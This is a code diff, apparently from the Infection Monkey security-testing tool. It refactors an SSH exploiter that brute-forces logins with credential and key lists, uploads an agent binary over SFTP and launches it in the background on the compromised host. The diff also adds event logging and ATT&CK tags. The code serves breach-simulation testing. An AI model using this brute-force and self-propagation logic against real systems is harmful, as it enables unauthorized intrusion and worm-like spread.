diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b7edda56e..0382f99ce 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,15 +1,27 @@ import io import logging +from ipaddress import IPv4Address from pathlib import PurePath +from time import time +from typing import Optional import paramiko from common import OperatingSystem +from common.agent_events import TCPScanEvent from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.credentials import get_plaintext +from common.tags import ( + T1021_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1222_ATTACK_TECHNIQUE_TAG, +) +from common.types import PortStatus from common.utils import Timer from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError +from infection_monkey.exploit import RetrievalError from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import ExploiterResultData @@ -19,6 +31,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.ids import get_agent_id from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -30,11 +43,15 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT TRANSFER_UPDATE_RATE = 15 +SSH_EXPLOITER_TAG = "ssh-exploiter" class SSHExploiter(HostExploiter): _EXPLOITED_SERVICE = "SSH" + _EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG) + _PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG) + def __init__(self): super(SSHExploiter, self).__init__() @@ -46,7 +63,7 @@ class SSHExploiter(HostExploiter): logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) timer.reset() - def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: + def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient: user_ssh_key_pairs = generate_identity_secret_pairs( identities=self.options["credentials"]["exploit_user_list"], secrets=self.options["credentials"]["exploit_ssh_keys"], @@ -70,6 +87,8 @@ class SSHExploiter(HostExploiter): pkey = paramiko.RSAKey.from_private_key(pkey) except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): logger.error("Failed reading ssh key") + + timestamp = time() try: ssh.connect( self.host.ip_addr, @@ -86,20 +105,30 @@ class SSHExploiter(HostExploiter): ) self.add_vuln_port(port) self.exploit_result.exploitation_success = True + self._publish_exploitation_event(timestamp, True) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except paramiko.AuthenticationException as err: ssh.close() - logger.info( - f"Failed logging into victim {self.host} with {ssh_string} private key: {err}", + error_message = ( + f"Failed logging into victim {self.host} with {ssh_string} private key: {err}" ) + logger.info(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) self.report_login_attempt(False, user, ssh_key=ssh_string) continue except Exception as err: - logger.error(f"Unknown error while attempting to login with ssh key: {err}") + error_message = ( + f"Unexpected error while attempting to login to {ssh_string} with ssh key: " + f"{err}" + ) + logger.error(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) + self.report_login_attempt(False, user, ssh_key=ssh_string) + raise FailedExploitationError - def exploit_with_login_creds(self, port) -> paramiko.SSHClient: + def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient: user_password_pairs = generate_identity_secret_pairs( identities=self.options["credentials"]["exploit_user_list"], secrets=self.options["credentials"]["exploit_password_list"], @@ -116,6 +145,8 @@ class SSHExploiter(HostExploiter): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) + + timestamp = time() try: ssh.connect( self.host.ip_addr, @@ -131,108 +162,79 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.exploit_result.exploitation_success = True + self._publish_exploitation_event(timestamp, True) self.report_login_attempt(True, user, current_password) return ssh except paramiko.AuthenticationException as err: - logger.debug( - "Failed logging into victim %r with user" " %s: (%s)", - self.host, - user, - err, - ) + error_message = f"Failed logging into victim {self.host} with user: {user}: {err}" + logger.debug(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) self.report_login_attempt(False, user, current_password) ssh.close() continue except Exception as err: - logger.error(f"Unknown error occurred while trying to login to ssh: {err}") + error_message = ( + f"Unexpected error while attempting to login to {self.host} with password: " + f"{err}" + ) + logger.error(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) + self.report_login_attempt(False, user, current_password) + raise FailedExploitationError def _exploit_host(self) -> ExploiterResultData: - port = SSH_PORT + port = self._get_ssh_port() - # if ssh banner found on different port, use that port. - for servkey, servdata in list(self.host.services.items()): - if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): - port = int(servkey.replace("tcp-", "")) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: + if not self._is_port_open(IPv4Address(self.host.ip_addr), port): self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - logger.info(self.exploit_result.error_message) return self.exploit_result + try: + ssh = self._exploit(port) + except FailedExploitationError as err: + self.exploit_result.error_message = str(err) + logger.error(self.exploit_result.error_message) + + return self.exploit_result + + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + + try: + self._propagate(ssh) + except (FailedExploitationError, RuntimeError) as err: + self.exploit_result.error_message = str(err) + logger.error(self.exploit_result.error_message) + finally: + ssh.close() + return self.exploit_result + + def _exploit(self, port: int) -> paramiko.SSHClient: try: ssh = self.exploit_with_ssh_keys(port) except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) except FailedExploitationError: - self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." - logger.error(self.exploit_result.error_message) - return self.exploit_result + raise FailedExploitationError("Exploiter SSHExploiter is giving up...") + + return ssh + + def _propagate(self, ssh: paramiko.SSHClient): + agent_binary_file_object = self._get_agent_binary(ssh) + if agent_binary_file_object is None: + raise RuntimeError("Can't find suitable monkey executable for host {self.host}") if self._is_interrupted(): self._set_interrupted() - return self.exploit_result - - if not self.host.os.get("type"): - try: - _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) - uname_os = stdout.read().lower().strip().decode() - if "linux" in uname_os: - self.exploit_result.os = OperatingSystem.LINUX - self.host.os["type"] = OperatingSystem.LINUX - else: - self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" - - if not uname_os: - logger.error(self.exploit_result.error_message) - return self.exploit_result - except Exception as exc: - self.exploit_result.error_message = ( - f"Error running uname os command on victim {self.host}: ({exc})" - ) - - logger.error(self.exploit_result.error_message) - return self.exploit_result - - agent_binary_file_object = self.agent_binary_repository.get_agent_binary( - self.exploit_result.os - ) - - if not agent_binary_file_object: - self.exploit_result.error_message = ( - f"Can't find suitable monkey executable for host {self.host}" - ) - - logger.error(self.exploit_result.error_message) - return self.exploit_result - - if self._is_interrupted(): - self._set_interrupted() - return self.exploit_result + raise RuntimeError("Propagation was interrupted") monkey_path_on_victim = get_agent_dst_path(self.host) - - try: - with ssh.open_sftp() as ftp: - ftp.putfo( - agent_binary_file_object, - str(monkey_path_on_victim), - file_size=len(agent_binary_file_object.getbuffer()), - callback=self.log_transfer, - ) - self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) - - status = ScanStatus.USED - except Exception as exc: - self.exploit_result.error_message = ( - f"Error uploading file into victim {self.host}: ({exc})" - ) - logger.error(self.exploit_result.error_message) - status = ScanStatus.SCANNED + status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim) self.telemetry_messenger.send_telemetry( T1105Telem( @@ -242,13 +244,15 @@ class SSHExploiter(HostExploiter): monkey_path_on_victim, ) ) + if status == ScanStatus.SCANNED: - return self.exploit_result + raise FailedExploitationError(self.exploit_result.error_message) try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.servers, self.current_depth + 1) cmdline += " > /dev/null 2>&1 &" + timestamp = time() ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) logger.info( @@ -259,18 +263,87 @@ class SSHExploiter(HostExploiter): ) self.exploit_result.propagation_success = True - - ssh.close() + self._publish_propagation_event(timestamp, True) self.add_executed_cmd(cmdline) - return self.exploit_result except Exception as exc: - self.exploit_result.error_message = ( - f"Error running monkey on victim {self.host}: ({exc})" - ) + error_message = f"Error running monkey on victim {self.host}: ({exc})" + self._publish_propagation_event(timestamp, False, error_message=error_message) + raise FailedExploitationError(error_message) - logger.error(self.exploit_result.error_message) - return self.exploit_result + def _is_port_open(self, ip: IPv4Address, port: int) -> bool: + is_open, _ = check_tcp_port(ip, port) + status = PortStatus.OPEN if is_open else PortStatus.CLOSED + self.agent_event_queue.publish( + TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status}) + ) + + return is_open + + def _get_ssh_port(self) -> int: + port = SSH_PORT + + # if ssh banner found on different port, use that port. + for servkey, servdata in list(self.host.services.items()): + if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): + port = int(servkey.replace("tcp-", "")) + + return port + + def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: + try: + _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) + uname_os = stdout.read().lower().strip().decode() + if "linux" in uname_os: + self.exploit_result.os = OperatingSystem.LINUX + self.host.os["type"] = OperatingSystem.LINUX + else: + self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" + + if not uname_os: + logger.error(self.exploit_result.error_message) + return False + except Exception as exc: + logger.error(f"Error running uname os command on victim {self.host}: ({exc})") + return False + return True + + def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]: + if not self.host.os.get("type") and not self._get_victim_os(ssh): + return None + + try: + agent_binary_file_object = self.agent_binary_repository.get_agent_binary( + self.exploit_result.os + ) + except RetrievalError: + return None + + return agent_binary_file_object + + def _upload_agent_binary( + self, + ssh: paramiko.SSHClient, + agent_binary_file_object: io.BytesIO, + monkey_path_on_victim: PurePath, + ) -> ScanStatus: + try: + timestamp = time() + with ssh.open_sftp() as ftp: + ftp.putfo( + agent_binary_file_object, + str(monkey_path_on_victim), + file_size=len(agent_binary_file_object.getbuffer()), + callback=self.log_transfer, + ) + self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) + + return ScanStatus.USED + except Exception as exc: + error_message = f"Error uploading file into victim {self.host}: ({exc})" + self._publish_propagation_event(timestamp, False, error_message=error_message) + self.exploit_result.error_message = error_message + return ScanStatus.SCANNED def _set_executable_bit_on_agent_binary( self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2a309956c..045b7ada1 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -3,6 +3,8 @@ import select import socket import struct import sys +from ipaddress import IPv4Address +from typing import Optional from common.common_consts.timeouts import CONNECTION_TIMEOUT from infection_monkey.network.info import get_routes @@ -13,7 +15,7 @@ BANNER_READ = 1024 logger = logging.getLogger(__name__) -def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): +def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False): """ Checks if a given TCP port is open :param ip: Target IP @@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): sock.settimeout(timeout) try: - sock.connect((ip, port)) + sock.connect((str(ip), port)) except socket.timeout: return False, None except socket.error as exc: @@ -51,7 +53,7 @@ def tcp_port_to_service(port): return "tcp-" + str(port) -def get_interface_to_target(dst: str) -> str: +def get_interface_to_target(dst: str) -> Optional[str]: """ :param dst: destination IP address string without port. E.G. '192.168.1.1.' :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'